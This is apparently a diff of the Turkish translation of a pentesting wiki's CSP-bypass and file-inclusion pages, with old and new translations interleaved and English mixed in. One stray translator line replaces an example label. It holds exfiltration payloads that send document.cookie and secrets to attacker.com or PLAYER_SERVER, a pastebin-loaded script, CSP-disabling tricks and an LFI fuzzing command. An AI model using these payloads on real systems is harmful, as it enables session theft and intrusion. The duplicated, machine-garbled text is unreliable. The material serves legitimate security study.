Ancak son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` adresine redirect edilecektir**. Bu bir redirect olduğundan, **path dikkate alınmaz**, ve **script yüklenebilir**, böylece path kısıtlaması atlatılmış olur.
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
Bu yönlendirme ile path tamamen belirtilmiş olsa bile yine atlatılacaktır.
With this redirection, even if the path is specified completely, it will still be bypassed.
Bu nedenle en iyi çözüm, web sitesinde herhangi bir open redirect zafiyeti olmamasını ve CSP kurallarında sömürülebilecek domains bulunmamasını sağlamaktır.
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
### Bypass CSP with dangling markup
Nasıl yapılacağını [buradan oku](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` kod içinde herhangi bir script'i çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` web sayfasında herhangi bir kaynaktan herhangi bir görüntüyü kullanabileceğiniz anlamına gelir.
`'unsafe-inline'` ifadesi kod içinde herhangi bir script'in çalıştırılmasına izin verir (XSS kod çalıştırabilir) ve `img-src *` ifadesi sayfada herhangi bir kaynaktan gelen herhangi bir resmi kullanabileceğiniz anlamına gelir.
Bu CSP'yi görüntüler aracılığıyla veriyi sızdırarak atlatabilirsiniz (bu durumda XSS, bot'un erişebildiği bir sayfanın SQLi içerdiği bir CSRF'i suiistimal eder ve flag'i bir görüntüyle çıkarır):
Bu CSP'yi verileri resimler aracılığıyla sızdırarak atlatabilirsiniz (bu durumda XSS, bot'un erişebildiği bir sayfanın bir SQLi içerdiği bir CSRF'yi kötüye kullanır ve flag'i bir resim aracılığıyla çıkarır):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Kaynak: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Bu yapılandırmayı, bir resmin içine yerleştirilmiş javascript kodunu **yüklemek** için de kötüye kullanabilirsiniz. Örneğin sayfa Twitter'dan resim yüklemeye izin veriyorsa, özel bir **image** hazırlayıp Twitter'a **upload** edebilir ve "**unsafe-inline**"ı kötüye kullanarak normal bir XSS gibi çalışacak bir JS kodunu **execute** edebilirsiniz; bu kod resmi **load** edip içindeki JS'i **extract** ederek **execute** eder: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Bu yapılandırmayı ayrıca bir görüntünün içine yerleştirilmiş javascript kodunu **yüklemek** için kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa. **Oluşturabileceğiniz** bir **özel görüntüyü**, **Twitter'a yükleyip** ve "**unsafe-inline**"ı kötüye kullanarak (normal bir XSS gibi) **bir JS kodunu çalıştırabilirsiniz**; bu kod **görüntüyü yükleyecek**, içinden **JS'i çıkaracak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workers ile
Service Workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
Service workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
{{#ref}}
@ -469,25 +469,25 @@ Service Workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
#### Chrome
Eğer sizin gönderdiğiniz bir **parametre** politikanın **bildirim** kısmının **içine yapıştırılıyorsa**, politikayı **işe yaramaz** hâle getirecek şekilde **değiştirebilirsiniz**. Aşağıdaki bypass'lardan herhangi biriyle **script 'unsafe-inline'**'a izin verebilirsiniz:
Eğer sizin gönderdiğiniz bir **parametre** politikanın **tanımının içine** **yapıştırılıyorsa**, politikayı işe yaramaz hâle getirecek şekilde **değiştirebilirsiniz**. Aşağıdaki yöntemlerle script 'unsafe-inline'ı **izin verebilirsiniz**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Çünkü bu yönerge mevcut script-src direktiflerini **üstüne yazar**.\
Bir örneğini şurada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Çünkü bu direktif mevcut script-src direktiflerini **geçersiz kılacaktır**.\
Aşağıda bir örnek bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge'de çok daha basit. Eğer CSP'ye sadece bunu ekleyebilirseniz: **`;_`** **Edge** tüm **policy**'yi **düşürecektir**.\
Edge'te durum çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**'yı **iptal edecektir**.\
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
`unsafe-inline` direktifinin eksikliğine dikkat edin.\
Bu sefer, XSS ile bir `<iframe` kullanarak hedefin **sizin kontrolünüzdeki** bir sayfayı **yüklemesini** sağlayabilirsiniz. Bu kez hedefi, bilgi çıkarmak istediğiniz sayfaya (**CSRF**) eriştireceksiniz. Sayfanın içeriğine erişemezsiniz, ancak eğer sayfanın yüklenme süresini **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
Direktif `'unsafe-inline'`'ın eksikliğine dikkat edin.\
Bu sefer, **XSS** ile bir `<iframe` aracılığıyla hedefin **sizin kontrolünüzdeki** bir sayfayı **yüklemesini** sağlayabilirsiniz. Bu sefer hedefin, bilgi çıkarmak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak eğer bir şekilde **sayfanın yüklenme süresini kontrol edebilirseniz**, ihtiyacınız olan bilgiyi çıkarabilirsiniz.
Bu sefer bir **flag** çıkarılacak; SQLi ile her bir **karakter doğru tahmin edildiğinde**, sleep fonksiyonu nedeniyle **yanıt** **daha uzun sürer**. Böylece flag'i çıkarabileceksiniz:
Bu sefer bir **flag** çıkarılacak; SQLi ile bir **karakter doğru tahmin edildiğinde**, sleep fonksiyonu nedeniyle **response** **daha fazla zaman alır**. Böylece flag'i çıkarabileceksiniz:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -549,22 +549,22 @@ run()
```
### Bookmarklets ile
Bu saldırı, saldırganın kullanıcıyı tarayıcıdaki bookmarklet'in üzerine bir link sürükleyip bırakmaya ikna ettiği bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag\&dropped edildiğinde veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak **malicious javascript** kodu içerir; bu da **CSP'yi atlayarak cookies veya tokens gibi hassas bilgileri çalmaya izin verir**.
Bu saldırı, saldırganın **kullanıcıyı tarayıcıdaki bookmarklet üzerine bir linki drag\&drop yapmaya ikna etmesi** şeklinde bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag\&dropped veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak **malicious javascript** kodu içerir; bu, **CSP'i bypass ederek cookies veya tokens gibi hassas bilgileri çalmaya** olanak tanır.
Daha fazla bilgi için [**orijinal rapora buradan bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
Daha fazla bilgi için [**orijinal raporu burada inceleyin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass — CSP'yi kısıtlayarak
### CSP'yi kısıtlayarak bypass
Bu [**CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) içinde, CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmıştır; bu kısıtlayıcı CSP belirli bir JS dosyasının yüklenmesine izin vermiyordu ve daha sonra bu durum aracılığıyla **prototype pollution** veya **dom clobbering** ile farklı bir script'in kötüye kullanılarak rastgele bir script yüklemesine olanak sağlanmıştır.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek bypass edilmiştir; bu CSP belirli bir JS dosyasının yüklenmesini engelliyor ve daha sonra, **prototype pollution** veya **dom clobbering** yoluyla, **farklı bir script'i suistimal ederek keyfî bir script yüklenmesine** izin veriyordu.
Bir Iframe'in CSP'sini **`csp`** attribute'u ile kısıtlayabilirsiniz:
Bir Iframe'in CSP'sini **kısıtlayabilirsiniz** **`csp`** attribute ile:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML injection** yoluyla bir **CSP** daha sıkı kısıtlanabildi; böylece CSTI'yi engelleyen bir script devre dışı kaldı ve bu nedenle **vulnerability became exploitable.**\
CSP, **HTML meta tags** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, onların **nonce**'unu sağlayan **entry**'nin **removing** ile kaldırılmasıyla devre dışı bırakılabilir ve belirli inline script'ler **enable specific inline script via sha** ile etkinleştirilebilir:
Bu [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** ile **CSP** daha fazla **restrict** edilerek CSTI'yi önleyen bir script devre dışı bırakılabildi ve bu nedenle **vulnerability became exploitable.**\
CSP, **HTML meta tags** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline scripts, **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -575,56 +575,55 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Eğer sunucunun başlık olarak **`Content-Security-Policy-Report-Only`** döndürmesini sağlayabilirseniz ve başlıktaki **değeri sizin kontrolünüzde** ise (örneğin bir CRLF yüzünden), bunu kendi sunucunuza yönlendirebilirsiniz. Exfiltrate etmek istediğiniz JS içeriğini **`<script>`** ile sararsanız ve `unsafe-inline` muhtemelen CSP tarafından izin verilmediği için, bu bir CSP hatası tetikleyecek ve script'in (hassas bilgiyi içeren kısmı) bir bölümü `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
Eğer sunucunun yanıtında başlık **`Content-Security-Policy-Report-Only`** ve **sizin kontrolünüzde bir değer** (ör. bir CRLF nedeniyle) döndürmesini sağlayabilirseniz, bu başlığı kendi sunucunuza yönlendirebilirsiniz. Exfiltrate etmek istediğiniz **JS içeriğini** **`<script>`** ile sardığınızda ve CSP muhtemelen `unsafe-inline`'i izin vermediği için bu bir **CSP hatası** tetikleyecek; betiğin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucunuza gönderilecektir.
Bir örnek için [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking Bilgi: CSP ve Iframe ile
### Leaking Information with CSP and Iframe
- Bir `iframe` oluşturulur ve CSP tarafından izin verilen bir URL'ye (örneğin `https://example.redirect.com`) işaret eder.
- Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye (ör. `https://usersecret.example2.com`) yönlendirir.
- `securitypolicyviolation` event'ını dinleyerek `blockedURI` özelliği yakalanabilir. Bu özellik, engellenen URI'nın domainini ortaya çıkarır ve başlangıç URL'sinin yönlendirildiği gizli domaini sızdırır.
- Bir `iframe` oluşturulur ve CSP tarafından izin verilen bir URL'ye (ör. `https://example.redirect.com`) işaret eder.
- Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye (ör. `https://usersecret.example2.com`) yönlendirilir.
- `securitypolicyviolation` event'ini dinleyerek `blockedURI` özelliği yakalanabilir. Bu özellik, engellenen URI'nin alan adını ortaya çıkarır ve böylece ilk URL'nin yönlendirildiği gizli domain'in leak'ine neden olur.
Chrome ve Firefox gibi tarayıcıların, CSP ile ilgili olarak iframe'leri farklı şekillerde işlemeleri ilginçtir; bu, tanımsız davranışlar nedeniyle hassas bilgilerin sızmasına yol açabilir.
Chrome ve Firefox gibi tarayıcıların CSP bağlamında iframes'leri işlerken farklı davranışlar sergilediğini ve tanımsız (undefined) davranışlar nedeniyle hassas bilgilerin leak olabileceğini belirtmek ilginçtir.
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'nin kendisinden faydalanmayı içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli domainlerin kasıtlı olarak engellenmesi için CSP'nin ayarlanmasını gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu alt alan adlarını engelleyip izin vererek adım adım farklı alt alan adlarını test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet:
Başka bir teknik ise CSP'nin kendisinden faydalanarak gizli subdomain'i türetmeyi içerir. Bu yöntem ikili arama (binary search) algoritmasına dayanır ve CSP'yi kasıtlı olarak engellenmiş belirli domainleri içerecek şekilde ayarlamayı gerektirir. Örneğin, gizli subdomain bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu subdomain'leri engelleyen veya izin veren testler yaparak iteratif olarak farklı subdomain'leri deneyebilirsiniz. Aşağıda bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet bulunuyor:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alan adındaki olası karakterleri daraltmak ve sonunda tam URL'yi ortaya çıkarmak mümkün.
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt etki alanındaki olası karakterler daraltılabilir ve sonunda tam URL ortaya çıkarılabilir.
Her iki yöntem de CSP uygulamasının ve tarayıcı davranışlarının nüanslarını istismar ederek, görünüşte güvenli politikaların kazara hassas bilgileri leak edebileceğini gösterir.
Her iki yöntem de CSP uygulamasının ve tarayıcı davranışının nüanslarını kullanır; bu da görünüşte güvenli politikaların istemeden hassas bilgileri leak edebileceğini gösterir.
Hile şu kaynaktan: [**here**](https://ctftime.org/writeup/29310).
Hile [**here**](https://ctftime.org/writeup/29310) kaynaklı.
## CSP Bypass İçin Güvensiz Teknolojiler
## CSP'yi Aşmak İçin Güvensiz Teknolojiler
### PHP Errors when too many params
### Çok fazla parametre olduğunda PHP Hataları
Video içindeki [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) kısmında belirtildiği üzere, çok fazla parametre göndermek (1001 GET parametresi; ayrıca POST params ile ve 20'den fazla dosyayla da yapılabilir). Bunun tetikleyeceği hata nedeniyle PHP web kodundaki tanımlı herhangi bir **`header()`** **gönderilmeyecektir**.
Bu videoda yorumlanan [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre gönderilmesi (1001 GET parametresi; ayrıca POST parametreleriyle veya 20'den fazla dosyayla da yapılabilir) durumunda, PHP web kodunda tanımlı herhangi bir **`header()`** tetiklenecek hata nedeniyle **gönderilmeyecektir**.
### PHP response buffer overload
### PHP yanıt tamponunun aşılması
PHP'nin varsayılan olarak yanıtı **4096 byte'a kadar tamponladığı** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde **yeterli veri** sağlayarak, **yanıt** **CSP header**'dan **önce** **gönderilecek**, bu da header'ın yok sayılmasına sebep olacaktır.\
PHP varsayılan olarak yanıtı **4096** byte'a kadar tamponladığıyla bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde **yeterli veri** sağlayarak **yanıt** **CSP başlığından** **önce** **gönderilebilir**, bu da başlığın göz ardı edilmesine neden olur.\
Teknik esasen CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan ibarettir.
Böylece teknik temelde **yanıt tamponunu uyarılarla doldurmaktan** ibarettir, böylece CSP header gönderilmez.
Fikir [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) kaynaklı.
Fikir [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)'dan.
### max_input_vars ile CSP'yi devre dışı bırakma (headers already sent)
### Kill CSP via max_input_vars (headers already sent)
Çünkü headers herhangi bir çıktıdan önce gönderilmek zorundadır, PHP tarafından üretilen uyarılar daha sonraki `header()` çağrılarını geçersiz kılabilir. Eğer kullanıcı girdisi `max_input_vars`'ı aşarsa, PHP önce bir startup uyarısı fırlatır; sonrasında yapılan `header('Content-Security-Policy: ...')` çağrısı “headers already sent” hatasıyla başarısız olur, bu da CSP'yi etkili bir şekilde devre dışı bırakır ve aksi takdirde engellenmiş reflective XSS'e izin verir.
Başlıklar her çıktının öncesinde gönderilmek zorunda olduğundan, PHP tarafından üretilen uyarılar sonraki `header()` çağrılarını geçersiz kılabilir. Kullanıcı girdisi `max_input_vars`'ı aşarsa, PHP önce bir startup uyarısı fırlatır; ardından yapılacak herhangi bir `header('Content-Security-Policy: ...')` “headers already sent” hatasıyla başarısız olur, bu da CSP'yi fiilen devre dışı bırakır ve aksi takdirde engellenen reflective XSS'e izin verir.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Örnek:
Çevirmemi istediğiniz içeriği gönderin.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -636,7 +635,7 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
```
### Hata Sayfasını Yeniden Yazma
Bu [**yazıda**](https://blog.ssrf.kr/69) görünüşe göre bir hata sayfasını (muhtemelen CSP olmadan) yükleyip içeriğini yeniden yazarak CSP korumasını aşmanın mümkün olduğu belirtiliyor.
Bu [**this writeup**](https://blog.ssrf.kr/69)'e göre, bir hata sayfası yükleyip (muhtemelen CSP olmadan) içeriğini yeniden yazarak CSP protection'ı bypass etmek mümkün görünüyordu.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -645,40 +644,41 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME, bir XSS (veya oldukça kısıtlı bir XSS) istismar ederek bir sayfanın **bir endpoint'inde** bulunan zayıflığı kullanıp aynı origin'deki **diğer endpoint'leri istismar etmek** için kullanılan bir tekniktir. Bu, zayıf endpoint'i bir saldırgan sayfasından yükleyip ardından saldırgan sayfasını istismar etmek istediğiniz aynı origin'deki gerçek endpoint'e yenileyerek yapılır. Bu şekilde **zayıf endpoint** yükteki `opener` nesnesini kullanarak **payload** içindeki verilerle istismar edilecek **gerçek endpoint**in **DOM**'una **erişebilir**. Daha fazla bilgi için bakın:
SOME, bir sayfanın bir endpoint'inde bulunan bir XSS (veya çok kısıtlı bir XSS) kullanarak aynı origin içindeki diğer endpoint'leri kötüye kullanan bir tekniktir. Bu, saldırgan sayfasından vulnerable endpoint'i yükleyip ardından saldırgan sayfasını kötüye kullanmak istediğiniz aynı origin içindeki gerçek endpoint'e yenileyerek yapılır. Bu sayede vulnerable endpoint, payload içindeki `opener` objesini kullanarak kötüye kullanılacak gerçek endpoint'in DOM'una erişebilir. Daha fazla bilgi için bakınız:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` içinde bir **JSONP** endpoint'i vardır; bu endpoint gönderilen **data**'yı çıktıda **yansıtır** (sadece harf, rakam ve nokta ile sınırlıdır).
Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` adresinde, gönderilen **data**'yı çıktı olarak **reflect** eden (sadece harf, rakam ve nokta ile sınırlı) bir **JSONP** endpoint'i vardır.
Bir saldırgan bu endpoint'i WordPress'e karşı **SOME attack** **generate** etmek ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **embed** etmek için kötüye kullanabilir; bu **script** **yüklenecektir** çünkü `'self'` tarafından **izin verilmiştir**. Üstelik, WordPress kurulu olduğu için bir saldırgan **SOME attack**'ı **vulnerable** **callback** endpoint'i aracılığıyla kullanarak **CSP'yi bypass eden** bir yol elde edebilir; böylece bir kullanıcıya daha fazla ayrıcalık verebilir, yeni bir plugin yükleyebilir...\
Bu saldırının nasıl gerçekleştirileceği hakkında daha fazla bilgi için bakın [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Bir saldırgan bu endpoint'i WordPress'e karşı bir **generate a SOME attack** oluşturmak için kötüye kullanabilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **embed** edebilir; bu **script**'in **yükleneceğini** unutmayın çünkü **'self' tarafından izin verilir**. Ayrıca, WordPress kurulu olduğu için saldırgan **SOME attack**'i vulnerable **callback** endpoint üzerinden kullanarak **CSP**'yi bypass edip bir kullanıcıya daha fazla yetki verebilir, yeni bir plugin yükleyebilir...\
Bu saldırının nasıl gerçekleştirileceği hakkında daha fazla bilgi için şu adresi inceleyin: [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Veri Sızdırma Bypass'ları
## CSP Exfiltration Bypasses
Eğer harici sunucularla **etkileşimde bulunmanıza** izin vermeyen sıkı bir CSP varsa, bilgileri sızdırmak için her zaman yapabileceğiniz bazı yöntemler vardır.
Eğer dış sunucularla **interact with external servers** kurmanıza izin vermeyen sıkı bir **CSP** varsa, bilgileri exfiltrate etmek için her zaman yapabileceğiniz bazı şeyler vardır.
### Location
Gizli bilgiyi saldırganın sunucusuna göndermek için sadece location'u güncelleyebilirsiniz:
Sır bilgiyi saldırganın sunucusuna göndermek için basitçe location'u güncelleyebilirsiniz:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
### Meta etiketi
Bir meta tag enjekte ederek redirect edebilirsiniz (bu sadece bir redirect, içerik leak olmaz)
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik leak olmaz)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Sayfaları daha hızlı yüklemek için, tarayıcılar host adlarını IP adreslerine önceden çözer ve daha sonra kullanım için önbelleğe alır.\
Bir tarayıcıya bir host adını önceden çözmesini şu etiketle belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
Sayfaları daha hızlı yüklemek için tarayıcılar, host isimlerini IP adreslerine önceden çözümleyip ileride kullanım için önbelleğe alır.\
Bir tarayıcıya bir host adını önceden çözümlemesini şu şekilde belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
Bu davranışı DNS istekleri yoluyla **hassas bilgileri sızdırmak** için kötüye kullanabilirsiniz:
Bu davranışı **exfiltrate sensitive information via DNS requests** için kötüye kullanabilirsiniz:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -695,18 +695,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Bunun olmasını önlemek için sunucu şu HTTP başlığını gönderebilir:
Bunun olmasını önlemek için sunucu şu HTTP header'ı gönderebilir:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Görünüşe göre bu teknik headless browsers (bots) üzerinde çalışmıyor
> Görünüşe göre bu teknik headless tarayıcılarda (botlarda) çalışmıyor
### WebRTC
Bazı sayfalarda **WebRTC'nin CSP'deki `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
Birkaç sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
Aslında bir _leak_ elde edebilirsiniz _DNS request_ kullanarak. Koda göz atın:
Aslında bir _DNS request_ kullanarak _leak_ yapabilirsiniz. Bu koda göz atın:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -728,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Yalnızca güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır.
Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'e bir DNS isteği gönderir. Bu yalnızca güvenli bağlam (HTTPS) veya localhost üzerinde çalışır.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -744,7 +744,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSP'yi Otomatik Olarak Oluşturma
## CSP Otomatik Oluşturma
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (Avantaj: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Siz kodu yazarsınız ve sunucu onu çalıştırır). In php this is **disabled** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once
Zafiyetli **PHP fonksiyonları**: require, require_once, include, include_once
Bu zafiyeti istismar etmek için faydalı bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Bu zafiyeti istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Birkaç \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:**
**Birden fazla \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `../../../../../` eklemeyi deneyin
Try also to change `/` for `\`\
Try also to add `../../../../../`
/etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -40,22 +40,22 @@ Farklı wordlists'lerin birleşimi:
